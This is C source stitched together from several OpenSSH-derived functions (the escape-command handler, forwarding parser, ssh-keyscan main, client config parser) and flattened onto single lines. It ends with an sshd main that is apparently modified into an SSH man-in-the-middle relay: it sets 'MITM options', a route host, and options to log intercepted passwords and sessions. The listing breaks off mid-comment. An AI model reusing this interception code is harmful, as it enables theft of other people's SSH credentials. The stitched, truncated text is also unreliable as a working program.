static void process_cmdline(void) { void (*handler)(int); char *s, *cmd; u_short fwd_port, fwd_host_port; char buf[1024], sfwd_port[6], sfwd_host_port[6]; int local = 0; leave_raw_mode(); handler = signal(SIGINT, SIG_IGN); cmd = s = read_passphrase("\r\nssh> ", RP_ECHO); if (s == NULL) goto out; while (*s && isspace(*s)) s++; if (*s == 0) goto out; if (strlen(s) < 2 || s[0] != '-' || !(s[1] == 'L' || s[1] == 'R')) { logit("Invalid command."); goto out; } if (s[1] == 'L') local = 1; if (!local && !compat20) { logit("Not supported for SSH protocol version 1."); goto out; } s += 2; while (*s && isspace(*s)) s++; if (sscanf(s, "%5[0-9]:%255[^:]:%5[0-9]", sfwd_port, buf, sfwd_host_port) != 3 && sscanf(s, "%5[0-9]/%255[^/]/%5[0-9]", sfwd_port, buf, sfwd_host_port) != 3) { logit("Bad forwarding specification."); goto out; } if ((fwd_port = a2port(sfwd_port)) == 0 || (fwd_host_port = a2port(sfwd_host_port)) == 0) { logit("Bad forwarding port(s)."); goto out; } if (local) { if (channel_setup_local_fwd_listener(fwd_port, buf, fwd_host_port, options.gateway_ports) < 0) { logit("Port forwarding failed."); goto out; } } else channel_request_remote_forwarding(fwd_port, buf, fwd_host_port); logit("Forwarding port."); out: signal(SIGINT, handler); enter_raw_mode(); if (cmd) xfree(cmd); }
/* * parse_forward * parses a string containing a port forwarding specification of the form: * [listenhost:]listenport:connecthost:connectport * returns number of arguments parsed or zero on error */ int parse_forward(Forward *fwd, const char *fwdspec) { int i; char *p, *cp, *fwdarg[4]; memset(fwd, '\0', sizeof(*fwd)); cp = p = xstrdup(fwdspec); /* skip leading spaces */ while (isspace(*cp)) cp++; for (i = 0; i < 4; ++i) if ((fwdarg[i] = hpdelim(&cp)) == NULL) break; /* Check for trailing garbage in 4-arg case*/ if (cp != NULL) i = 0; /* failure */ switch (i) { case 3: fwd->listen_host = NULL; fwd->listen_port = a2port(fwdarg[0]); fwd->connect_host = xstrdup(cleanhostname(fwdarg[1])); fwd->connect_port = a2port(fwdarg[2]); break; case 4: fwd->listen_host = xstrdup(cleanhostname(fwdarg[0])); fwd->listen_port = a2port(fwdarg[1]); fwd->connect_host = xstrdup(cleanhostname(fwdarg[2])); fwd->connect_port = a2port(fwdarg[3]); break; default: i = 0; /* failure */ } xfree(p); if (fwd->listen_port == 0 && fwd->connect_port == 0) goto fail_free; if (fwd->connect_host != NULL && strlen(fwd->connect_host) >= NI_MAXHOST) goto fail_free; return (i); fail_free: if (fwd->connect_host != NULL) xfree(fwd->connect_host); if (fwd->listen_host != NULL) xfree(fwd->listen_host); return (0); }
int main(int argc, char **argv) { int debug_flag = 0, log_level = SYSLOG_LEVEL_INFO; int opt, fopt_count = 0, j; char *tname, *cp, line[NI_MAXHOST]; FILE *fp; u_long linenum; extern int optind; extern char *optarg; __progname = ssh_get_progname(argv[0]); seed_rng(); TAILQ_INIT(&tq); /* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */ sanitise_stdfd(); if (argc <= 1) usage(); while ((opt = getopt(argc, argv, "Hv46p:T:t:f:")) != -1) { switch (opt) { case 'H': hash_hosts = 1; break; case 'p': ssh_port = a2port(optarg); if (ssh_port <= 0) { fprintf(stderr, "Bad port '%s'\n", optarg); exit(1); } break; case 'T': timeout = convtime(optarg); if (timeout == -1 || timeout == 0) { fprintf(stderr, "Bad timeout '%s'\n", optarg); usage(); } break; case 'v': if (!debug_flag) { debug_flag = 1; log_level = SYSLOG_LEVEL_DEBUG1; } else if (log_level < SYSLOG_LEVEL_DEBUG3) log_level++; else fatal("Too high debugging level."); break; case 'f': if (strcmp(optarg, "-") == 0) optarg = NULL; argv[fopt_count++] = optarg; break; case 't': get_keytypes = 0; tname = strtok(optarg, ","); while (tname) { int type = key_type_from_name(tname); switch (type) { case KEY_RSA1: get_keytypes |= KT_RSA1; break; case KEY_DSA: get_keytypes |= KT_DSA; break; case KEY_ECDSA: get_keytypes |= KT_ECDSA; break; case KEY_RSA: get_keytypes |= KT_RSA; break; case KEY_ED25519: get_keytypes |= KT_ED25519; break; case KEY_UNSPEC: fatal("unknown key type %s", tname); } tname = strtok(NULL, ","); } break; case '4': IPv4or6 = AF_INET; break; case '6': IPv4or6 = AF_INET6; break; case '?': default: usage(); } } if (optind == argc && !fopt_count) usage(); log_init("ssh-keyscan", log_level, SYSLOG_FACILITY_USER, 1); maxfd = fdlim_get(1); if (maxfd < 0) fatal("%s: fdlim_get: bad value", __progname); if (maxfd > MAXMAXFD) maxfd = MAXMAXFD; if (MAXCON <= 0) fatal("%s: not enough file descriptors", __progname); if (maxfd > fdlim_get(0)) fdlim_set(maxfd); fdcon = xcalloc(maxfd, sizeof(con)); read_wait_nfdset = howmany(maxfd, NFDBITS); read_wait = xcalloc(read_wait_nfdset, sizeof(fd_mask)); for (j = 0; j < fopt_count; j++) { if (argv[j] == NULL) fp = stdin; else if ((fp = fopen(argv[j], "r")) == NULL) fatal("%s: %s: %s", __progname, argv[j], strerror(errno)); linenum = 0; while (read_keyfile_line(fp, argv[j] == NULL ? "(stdin)" : argv[j], line, sizeof(line), &linenum) != -1) { /* Chomp off trailing whitespace and comments */ if ((cp = strchr(line, '#')) == NULL) cp = line + strlen(line) - 1; while (cp >= line) { if (*cp == ' ' || *cp == '\t' || *cp == '\n' || *cp == '#') *cp-- = '\0'; else break; } /* Skip empty lines */ if (*line == '\0') continue; do_host(line); } if (ferror(fp)) fatal("%s: %s: %s", __progname, argv[j], strerror(errno)); fclose(fp); } while (optind < argc) do_host(argv[optind++]); while (ncon > 0) conloop(); return (0); }
int process_config_line(Options *options, const char *host, char *line, const char *filename, int linenum, int *activep) { char *s, **charptr, *endofnumber, *keyword, *arg, *arg2, fwdarg[256]; int opcode, *intptr, value, value2, scale; long long orig, val64; size_t len; Forward fwd; /* Strip trailing whitespace */ for (len = strlen(line) - 1; len > 0; len--) { if (strchr(WHITESPACE, line[len]) == NULL) break; line[len] = '\0'; } s = line; /* Get the keyword. (Each line is supposed to begin with a keyword). */ if ((keyword = strdelim(&s)) == NULL) return 0; /* Ignore leading whitespace. */ if (*keyword == '\0') keyword = strdelim(&s); if (keyword == NULL || !*keyword || *keyword == '\n' || *keyword == '#') return 0; opcode = parse_token(keyword, filename, linenum); switch (opcode) { case oBadOption: /* don't panic, but count bad options */ return -1; /* NOTREACHED */ case oConnectTimeout: intptr = &options->connection_timeout; parse_time: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%s line %d: missing time value.", filename, linenum); if ((value = convtime(arg)) == -1) fatal("%s line %d: invalid time value.", filename, linenum); if (*activep && *intptr == -1) *intptr = value; break; case oForwardAgent: intptr = &options->forward_agent; parse_flag: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing yes/no argument.", filename, linenum); value = 0; /* To avoid compiler warning... */ if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) value = 1; else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) value = 0; else fatal("%.200s line %d: Bad yes/no argument.", filename, linenum); if (*activep && *intptr == -1) *intptr = value; break; case oForwardX11: intptr = &options->forward_x11; goto parse_flag; case oForwardX11Trusted: intptr = &options->forward_x11_trusted; goto parse_flag; case oGatewayPorts: intptr = &options->gateway_ports; goto parse_flag; case oExitOnForwardFailure: intptr = &options->exit_on_forward_failure; goto parse_flag; case oUsePrivilegedPort: intptr = &options->use_privileged_port; goto parse_flag; case oPasswordAuthentication: intptr = &options->password_authentication; goto parse_flag; case oKbdInteractiveAuthentication: intptr = &options->kbd_interactive_authentication; goto parse_flag; case oKbdInteractiveDevices: charptr = &options->kbd_interactive_devices; goto parse_string; case oPubkeyAuthentication: intptr = &options->pubkey_authentication; goto parse_flag; case oRSAAuthentication: intptr = &options->rsa_authentication; goto parse_flag; case oRhostsRSAAuthentication: intptr = &options->rhosts_rsa_authentication; goto parse_flag; case oHostbasedAuthentication: intptr = &options->hostbased_authentication; goto parse_flag; case oChallengeResponseAuthentication: intptr = &options->challenge_response_authentication; goto parse_flag; case oGssAuthentication: intptr = &options->gss_authentication; goto parse_flag; case oGssKeyEx: intptr = &options->gss_keyex; goto parse_flag; case oGssDelegateCreds: intptr = &options->gss_deleg_creds; goto parse_flag; case oGssTrustDns: intptr = &options->gss_trust_dns; goto parse_flag; case oBatchMode: intptr = &options->batch_mode; goto parse_flag; case oCheckHostIP: intptr = &options->check_host_ip; goto parse_flag; case oVerifyHostKeyDNS: intptr = &options->verify_host_key_dns; goto parse_yesnoask; case oStrictHostKeyChecking: intptr = &options->strict_host_key_checking; parse_yesnoask: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing yes/no/ask argument.", filename, linenum); value = 0; /* To avoid compiler warning... */ if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) value = 1; else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) value = 0; else if (strcmp(arg, "ask") == 0) value = 2; else fatal("%.200s line %d: Bad yes/no/ask argument.", filename, linenum); if (*activep && *intptr == -1) *intptr = value; break; case oCompression: intptr = &options->compression; goto parse_flag; case oTCPKeepAlive: intptr = &options->tcp_keep_alive; goto parse_flag; case oNoHostAuthenticationForLocalhost: intptr = &options->no_host_authentication_for_localhost; goto parse_flag; case oNumberOfPasswordPrompts: intptr = &options->number_of_password_prompts; goto parse_int; case oCompressionLevel: intptr = &options->compression_level; goto parse_int; case oRekeyLimit: intptr = &options->rekey_limit; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (arg[0] < '0' || arg[0] > '9') fatal("%.200s line %d: Bad number.", filename, linenum); orig = val64 = strtoll(arg, &endofnumber, 10); if (arg == endofnumber) fatal("%.200s line %d: Bad number.", filename, linenum); switch (toupper(*endofnumber)) { case '\0': scale = 1; break; case 'K': scale = 1<<10; break; case 'M': scale = 1<<20; break; case 'G': scale = 1<<30; break; default: fatal("%.200s line %d: Invalid RekeyLimit suffix", filename, linenum); } val64 *= scale; /* detect integer wrap and too-large limits */ if ((val64 / scale) != orig || val64 > INT_MAX) fatal("%.200s line %d: RekeyLimit too large", filename, linenum); if (val64 < 16) fatal("%.200s line %d: RekeyLimit too small", filename, linenum); if (*activep && *intptr == -1) *intptr = (int)val64; break; case oIdentityFile: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (*activep) { intptr = &options->num_identity_files; if (*intptr >= SSH_MAX_IDENTITY_FILES) fatal("%.200s line %d: Too many identity files specified (max %d).", filename, linenum, SSH_MAX_IDENTITY_FILES); charptr = &options->identity_files[*intptr]; *charptr = xstrdup(arg); *intptr = *intptr + 1; } break; case oXAuthLocation: charptr=&options->xauth_location; goto parse_string; case oUser: charptr = &options->user; parse_string: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (*activep && *charptr == NULL) *charptr = xstrdup(arg); break; case oGlobalKnownHostsFile: charptr = &options->system_hostfile; goto parse_string; case oUserKnownHostsFile: charptr = &options->user_hostfile; goto parse_string; case oGlobalKnownHostsFile2: charptr = &options->system_hostfile2; goto parse_string; case oUserKnownHostsFile2: charptr = &options->user_hostfile2; goto parse_string; case oHostName: charptr = &options->hostname; goto parse_string; case oHostKeyAlias: charptr = &options->host_key_alias; goto parse_string; case oPreferredAuthentications: charptr = &options->preferred_authentications; goto parse_string; case oBindAddress: charptr = &options->bind_address; goto parse_string; case oSmartcardDevice: charptr = &options->smartcard_device; goto parse_string; case oProxyCommand: charptr = &options->proxy_command; parse_command: if (s == NULL) fatal("%.200s line %d: Missing argument.", filename, linenum); len = strspn(s, WHITESPACE "="); if (*activep && *charptr == NULL) *charptr = xstrdup(s + len); return 0; case oPort: intptr = &options->port; parse_int: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (arg[0] < '0' || arg[0] > '9') fatal("%.200s line %d: Bad number.", filename, linenum); /* Octal, decimal, or hex format? */ value = strtol(arg, &endofnumber, 0); if (arg == endofnumber) fatal("%.200s line %d: Bad number.", filename, linenum); if (*activep && *intptr == -1) *intptr = value; break; case oConnectionAttempts: intptr = &options->connection_attempts; goto parse_int; case oCipher: intptr = &options->cipher; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); value = cipher_number(arg); if (value == -1) fatal("%.200s line %d: Bad cipher '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && *intptr == -1) *intptr = value; break; case oCiphers: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (!ciphers_valid(arg)) fatal("%.200s line %d: Bad SSH2 cipher spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && options->ciphers == NULL) options->ciphers = xstrdup(arg); break; case oMacs: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (!mac_valid(arg)) fatal("%.200s line %d: Bad SSH2 Mac spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && options->macs == NULL) options->macs = xstrdup(arg); break; case oHostKeyAlgorithms: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (!key_names_valid2(arg)) fatal("%.200s line %d: Bad protocol 2 host key algorithms '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && options->hostkeyalgorithms == NULL) options->hostkeyalgorithms = xstrdup(arg); break; case oProtocol: intptr = &options->protocol; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); value = proto_spec(arg); if (value == SSH_PROTO_UNKNOWN) fatal("%.200s line %d: Bad protocol spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && *intptr == SSH_PROTO_UNKNOWN) *intptr = value; break; case oLogLevel: intptr = (int *) &options->log_level; arg = strdelim(&s); value = log_level_number(arg); if (value == SYSLOG_LEVEL_NOT_SET) fatal("%.200s line %d: unsupported log level '%s'", filename, linenum, arg ? arg : "<NONE>"); if (*activep && (LogLevel) *intptr == SYSLOG_LEVEL_NOT_SET) *intptr = (LogLevel) value; break; case oLocalForward: case oRemoteForward: arg = strdelim(&s); if (arg == NULL || *arg == '\0') fatal("%.200s line %d: Missing port argument.", filename, linenum); arg2 = strdelim(&s); if (arg2 == NULL || *arg2 == '\0') fatal("%.200s line %d: Missing target argument.", filename, linenum); /* construct a string for parse_forward */ snprintf(fwdarg, sizeof(fwdarg), "%s:%s", arg, arg2); if (parse_forward(&fwd, fwdarg) == 0) fatal("%.200s line %d: Bad forwarding specification.", filename, linenum); if (*activep) { if (opcode == oLocalForward) add_local_forward(options, &fwd); else if (opcode == oRemoteForward) add_remote_forward(options, &fwd); } break; case oDynamicForward: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing port argument.", filename, linenum); memset(&fwd, '\0', sizeof(fwd)); fwd.connect_host = "socks"; fwd.listen_host = hpdelim(&arg); if (fwd.listen_host == NULL || strlen(fwd.listen_host) >= NI_MAXHOST) fatal("%.200s line %d: Bad forwarding specification.", filename, linenum); if (arg) { fwd.listen_port = a2port(arg); fwd.listen_host = cleanhostname(fwd.listen_host); } else { fwd.listen_port = a2port(fwd.listen_host); fwd.listen_host = NULL; } if (fwd.listen_port == 0) fatal("%.200s line %d: Badly formatted port number.", filename, linenum); if (*activep) add_local_forward(options, &fwd); break; case oClearAllForwardings: intptr = &options->clear_forwardings; goto parse_flag; case oHost: *activep = 0; while ((arg = strdelim(&s)) != NULL && *arg != '\0') if (match_pattern(host, arg)) { debug("Applying options for %.100s", arg); *activep = 1; break; } /* Avoid garbage check below, as strdelim is done. */ return 0; case oEscapeChar: intptr = &options->escape_char; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (arg[0] == '^' && arg[2] == 0 && (u_char) arg[1] >= 64 && (u_char) arg[1] < 128) value = (u_char) arg[1] & 31; else if (strlen(arg) == 1) value = (u_char) arg[0]; else if (strcmp(arg, "none") == 0) value = SSH_ESCAPECHAR_NONE; else { fatal("%.200s line %d: Bad escape character.", filename, linenum); /* NOTREACHED */ value = 0; /* Avoid compiler warning. */ } if (*activep && *intptr == -1) *intptr = value; break; case oAddressFamily: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%s line %d: missing address family.", filename, linenum); intptr = &options->address_family; if (strcasecmp(arg, "inet") == 0) value = AF_INET; else if (strcasecmp(arg, "inet6") == 0) value = AF_INET6; else if (strcasecmp(arg, "any") == 0) value = AF_UNSPEC; else fatal("Unsupported AddressFamily \"%s\"", arg); if (*activep && *intptr == -1) *intptr = value; break; case oEnableSSHKeysign: intptr = &options->enable_ssh_keysign; goto parse_flag; case oIdentitiesOnly: intptr = &options->identities_only; goto parse_flag; case oServerAliveInterval: case oProtocolKeepAlives: /* Debian-specific compatibility alias */ intptr = &options->server_alive_interval; goto parse_time; case oServerAliveCountMax: intptr = &options->server_alive_count_max; goto parse_int; case oSendEnv: while ((arg = strdelim(&s)) != NULL && *arg != '\0') { if (strchr(arg, '=') != NULL) fatal("%s line %d: Invalid environment name.", filename, linenum); if (!*activep) continue; if (options->num_send_env >= MAX_SEND_ENV) fatal("%s line %d: too many send env.", filename, linenum); options->send_env[options->num_send_env++] = xstrdup(arg); } break; case oControlPath: charptr = &options->control_path; goto parse_string; case oControlMaster: intptr = &options->control_master; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing ControlMaster argument.", filename, linenum); value = 0; /* To avoid compiler warning... */ if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) value = SSHCTL_MASTER_YES; else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) value = SSHCTL_MASTER_NO; else if (strcmp(arg, "auto") == 0) value = SSHCTL_MASTER_AUTO; else if (strcmp(arg, "ask") == 0) value = SSHCTL_MASTER_ASK; else if (strcmp(arg, "autoask") == 0) value = SSHCTL_MASTER_AUTO_ASK; else fatal("%.200s line %d: Bad ControlMaster argument.", filename, linenum); if (*activep && *intptr == -1) *intptr = value; break; case oHashKnownHosts: intptr = &options->hash_known_hosts; goto parse_flag; case oTunnel: intptr = &options->tun_open; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%s line %d: Missing yes/point-to-point/" "ethernet/no argument.", filename, linenum); value = 0; /* silence compiler */ if (strcasecmp(arg, "ethernet") == 0) value = SSH_TUNMODE_ETHERNET; else if (strcasecmp(arg, "point-to-point") == 0) value = SSH_TUNMODE_POINTOPOINT; else if (strcasecmp(arg, "yes") == 0) value = SSH_TUNMODE_DEFAULT; else if (strcasecmp(arg, "no") == 0) value = SSH_TUNMODE_NO; else fatal("%s line %d: Bad yes/point-to-point/ethernet/" "no argument: %s", filename, linenum, arg); if (*activep) *intptr = value; break; case oTunnelDevice: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); value = a2tun(arg, &value2); if (value == SSH_TUNID_ERR) fatal("%.200s line %d: Bad tun device.", filename, linenum); if (*activep) { options->tun_local = value; options->tun_remote = value2; } break; case oLocalCommand: charptr = &options->local_command; goto parse_command; case oPermitLocalCommand: intptr = &options->permit_local_command; goto parse_flag; case oSetupTimeOut: intptr = &options->setuptimeout; goto parse_int; case oDeprecated: debug("%s line %d: Deprecated option \"%s\"", filename, linenum, keyword); return 0; case oUnsupported: error("%s line %d: Unsupported option \"%s\"", filename, linenum, keyword); return 0; default: fatal("process_config_line: Unimplemented opcode %d", opcode); } /* Check that there is no garbage at end of line. */ if ((arg = strdelim(&s)) != NULL && *arg != '\0') { fatal("%.200s line %d: garbage at end of line; \"%.200s\".", filename, linenum, arg); } return 0; }
/* * Main program for the daemon. */ int main(int ac, char **av) { extern char *optarg; extern int optind; int opt, j, i, fdsetsz, on = 1; int sock_in = -1, sock_out = -1, newsock = -1; pid_t pid; socklen_t fromlen; fd_set *fdset; struct sockaddr_storage from; const char *remote_ip; int remote_port; FILE *f; struct addrinfo *ai; char ntop[NI_MAXHOST], strport[NI_MAXSERV]; char *line; int listen_sock, maxfd; int startup_p[2], config_s[2]; int startups = 0; Key *key; Authctxt *authctxt; int ret, key_used = 0; Buffer cfg; char *pt; u_short ports[2] = {0,0}; /* Default MITM options */ memset(&mopt, 0x00, sizeof(mopt)); mopt.r_port = htons(22); mopt.resolve = 1; if (av[1] == NULL) usage(); /* Get route */ if ( (pt = strchr(av[1], ':')) != NULL) *pt++ = '\0'; if ( (long)(mopt.r_addr = net_inetaddr(av[1])) == -1) fatal("Failed to resolve route host/IP %s", av[1]); if (pt != NULL) { if (!ISPORT(atoi(pt))) fatal("Bad port number in route '%s'", pt); mopt.r_port = htons(atoi(pt)); } logit("Using static route to %s", net_sockstr_ip(mopt.r_addr, mopt.r_port, 0)); #ifdef HAVE_SECUREWARE (void)set_auth_parameters(ac, av); #endif __progname = ssh_get_progname(av[0]); init_rng(); /* Save argv. Duplicate so setproctitle emulation doesn't clobber it */ saved_argc = ac; rexec_argc = ac; saved_argv = xmalloc(sizeof(*saved_argv) * (ac + 1)); for (i = 0; i < ac; i++) saved_argv[i] = xstrdup(av[i]); saved_argv[i] = NULL; #ifndef HAVE_SETPROCTITLE /* Prepare for later setproctitle emulation */ compat_init_setproctitle(ac, av); av = saved_argv; #endif if (geteuid() == 0 && setgroups(0, NULL) == -1) debug("setgroups(): %.200s", strerror(errno)); /* Initialize configuration options to their default values. */ initialize_server_options(&options); /* Parse command-line options */ optind = 2; while ( (opt = getopt(ac, av, "np:o:c:s:dv")) != -1) { switch(opt) { case 'n': mopt.resolve = 0; break; case 'd': if (debug_flag == 0) { debug_flag = 1; options.log_level = SYSLOG_LEVEL_DEBUG1; } else if (options.log_level < SYSLOG_LEVEL_DEBUG4) options.log_level++; break; case 'o': options.passwdlog = optarg; break; case 'c': options.c_logdir = optarg; break; case 's': options.s_logdir = optarg; break; case 'v': options.log_level = SYSLOG_LEVEL_VERBOSE; break; case 'p': options.ports_from_cmdline = 1; if (options.num_ports >= MAX_PORTS) { fprintf(stderr, "too many ports.\n"); exit(1); } options.ports[options.num_ports++] = a2port(optarg); if (options.ports[options.num_ports-1] == 0) { fprintf(stderr, "Bad port number.\n"); exit(1); } break; default: exit(EXIT_FAILURE); } } /* Default values */ IPv4or6 = AF_INET; no_daemon_flag = 1; log_stderr = 1; rexec_flag = 0; use_privsep = 0; IPv4or6 = AF_INET; SSLeay_add_all_algorithms(); channel_set_af(IPv4or6); /* * Force logging to stderr until we have loaded the private host * key (unless started from inetd) */ log_init(__progname, options.log_level == SYSLOG_LEVEL_NOT_SET ? SYSLOG_LEVEL_INFO : options.log_level, options.log_facility == SYSLOG_FACILITY_NOT_SET ? SYSLOG_FACILITY_AUTH : options.log_facility, log_stderr || !inetd_flag); //target_connect(net_inetaddr("10.0.0.1"), htons(22), 2, SSH_PROTO_2); //exit(1); #ifdef _AIX /* * Unset KRB5CCNAME, otherwise the user's session may inherit it from * root's environment */ unsetenv("KRB5CCNAME"); #endif /* _AIX */ #ifdef _UNICOS /* Cray can define user privs drop all privs now! * Not needed on PRIV_SU systems! */ drop_cray_privs(); #endif seed_rng(); sensitive_data.server_key = NULL; sensitive_data.ssh1_host_key = NULL; sensitive_data.have_ssh1_key = 0; sensitive_data.have_ssh2_key = 0; /* Fetch our configuration */ buffer_init(&cfg); if (rexeced_flag) recv_rexec_state(REEXEC_CONFIG_PASS_FD, &cfg); else load_server_config(config_file_name, &cfg); parse_server_config(&options, rexeced_flag ? "rexec" : config_file_name, &cfg); if (!rexec_flag) buffer_free(&cfg); /* Fill in default values for those options not explicitly set. */ fill_default_server_options(&options); /* Check that there are no remaining arguments. */ if (optind < ac) { fprintf(stderr, "Extra argument %s.\n", av[optind]); exit(1); } debug("sshd version %.100s", SSH_VERSION); /* load private host keys */ sensitive_data.host_keys = xmalloc(options.num_host_key_files * sizeof(Key *)); for (i = 0; i < options.num_host_key_files; i++) sensitive_data.host_keys[i] = NULL; for (i = 0; i < options.num_host_key_files; i++) { key = key_load_private(options.host_key_files[i], "", NULL); sensitive_data.host_keys[i] = key; if (key == NULL) { error("Could not load host key: %s", options.host_key_files[i]); sensitive_data.host_keys[i] = NULL; continue; } switch (key->type) { case KEY_RSA1: sensitive_data.ssh1_host_key = key; sensitive_data.have_ssh1_key = 1; break; case KEY_RSA: case KEY_DSA: sensitive_data.have_ssh2_key = 1; break; } debug("private host key: #%d type %d %s", i, key->type, key_type(key)); } if ((options.protocol & SSH_PROTO_1) && !sensitive_data.have_ssh1_key) { logit("Disabling protocol version 1. Could not load host key"); options.protocol &= ~SSH_PROTO_1; } if ((options.protocol & SSH_PROTO_2) && !sensitive_data.have_ssh2_key) { logit("Disabling protocol version 2. Could not load host key"); options.protocol &= ~SSH_PROTO_2; } if (!(options.protocol & (SSH_PROTO_1|SSH_PROTO_2))) { logit("sshd: no hostkeys available -- exiting."); exit(1); } /* Check certain values for sanity. */ if (options.protocol & SSH_PROTO_1) { if (options.server_key_bits < 512 || options.server_key_bits > 32768) { fprintf(stderr, "Bad server key size.\n"); exit(1); } /* * Check that server and host key lengths differ sufficiently. This * is necessary to make double encryption work with rsaref. Oh, I * hate software patents. I dont know if this can go? Niels */ if (options.server_key_bits > BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) - SSH_KEY_BITS_RESERVED && options.server_key_bits < BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED) { options.server_key_bits = BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED; debug("Forcing server key to %d bits to make it differ from host key.", options.server_key_bits); } } if (use_privsep) { struct passwd *pw; struct stat st; if ((pw = getpwnam(SSH_PRIVSEP_USER)) == NULL) fatal("Privilege separation user %s does not exist", SSH_PRIVSEP_USER); if ((stat(_PATH_PRIVSEP_CHROOT_DIR, &st) == -1) || (S_ISDIR(st.st_mode) == 0)) fatal("Missing privilege separation directory: %s", _PATH_PRIVSEP_CHROOT_DIR); #ifdef HAVE_CYGWIN if (check_ntsec(_PATH_PRIVSEP_CHROOT_DIR) && (st.st_uid != getuid () || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0)) #else if (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0) #endif fatal("%s must be owned by root and not group or " "world-writable.", _PATH_PRIVSEP_CHROOT_DIR); } /* Configuration looks good, so exit if in test mode. */ if (test_flag) exit(0); /* * Clear out any supplemental groups we may have inherited. This * prevents inadvertent creation of files with bad modes (in the * portable version at least, it's certainly possible for PAM * to create a file, and we can't control the code in every * module which might be used). */ if (setgroups(0, NULL) < 0) debug("setgroups() failed: %.200s", strerror(errno)); if (rexec_flag) { rexec_argv = xmalloc(sizeof(char *) * (rexec_argc + 2)); for (i = 0; i < rexec_argc; i++) { debug("rexec_argv[%d]='%s'", i, saved_argv[i]); rexec_argv[i] = saved_argv[i]; } rexec_argv[rexec_argc] = "-R"; rexec_argv[rexec_argc + 1] = NULL; } /* Initialize the log (it is reinitialized below in case we forked). */ if (debug_flag && !inetd_flag) log_stderr = 1; log_init(__progname, options.log_level, options.log_facility, log_stderr); /* * If not in debugging mode, and not started from inetd, disconnect * from the controlling terminal, and fork. The original process * exits. */ if (!(debug_flag || inetd_flag || no_daemon_flag)) { #ifdef TIOCNOTTY int fd; #endif /* TIOCNOTTY */ if (daemon(0, 0) < 0) fatal("daemon() failed: %.200s", strerror(errno)); /* Disconnect from the controlling tty. */ #ifdef TIOCNOTTY fd = open(_PATH_TTY, O_RDWR | O_NOCTTY); if (fd >= 0) { (void) ioctl(fd, TIOCNOTTY, NULL); close(fd); } #endif /* TIOCNOTTY */ } /* Reinitialize the log (because of the fork above). */ log_init(__progname, options.log_level, options.log_facility, log_stderr); /* Initialize the random number generator. */ arc4random_stir(); /* Chdir to the root directory so that the current disk can be unmounted if desired. */ chdir("/"); /* ignore SIGPIPE */ signal(SIGPIPE, SIG_IGN); /* Start listening for a socket, unless started from inetd. */ if (inetd_flag) { int fd; startup_pipe = -1; if (rexeced_flag) { close(REEXEC_CONFIG_PASS_FD); sock_in = sock_out = dup(STDIN_FILENO); if (!debug_flag) { startup_pipe = dup(REEXEC_STARTUP_PIPE_FD); close(REEXEC_STARTUP_PIPE_FD); } } else { sock_in = dup(STDIN_FILENO); sock_out = dup(STDOUT_FILENO); } /* * We intentionally do not close the descriptors 0, 1, and 2 * as our code for setting the descriptors won't work if * ttyfd happens to be one of those. */ if ((fd = open(_PATH_DEVNULL, O_RDWR, 0)) != -1) { dup2(fd, STDIN_FILENO); dup2(fd, STDOUT_FILENO); if (fd > STDOUT_FILENO) close(fd); } debug("inetd sockets after dupping: %d, %d", sock_in, sock_out); if ((options.protocol & SSH_PROTO_1) && sensitive_data.server_key == NULL) generate_ephemeral_server_key(); } else { for (ai = options.listen_addrs; ai; ai = ai->ai_next) { if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) continue; if (num_listen_socks >= MAX_LISTEN_SOCKS) fatal("Too many listen sockets. " "Enlarge MAX_LISTEN_SOCKS"); if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop, sizeof(ntop), strport, sizeof(strport), NI_NUMERICHOST|NI_NUMERICSERV) != 0) { error("getnameinfo failed"); continue; } /* Create socket for listening. */ listen_sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol); if (listen_sock < 0) { /* kernel may not support ipv6 */ verbose("socket: %.100s", strerror(errno)); continue; } if (set_nonblock(listen_sock) == -1) { close(listen_sock); continue; } /* * Set socket options. * Allow local port reuse in 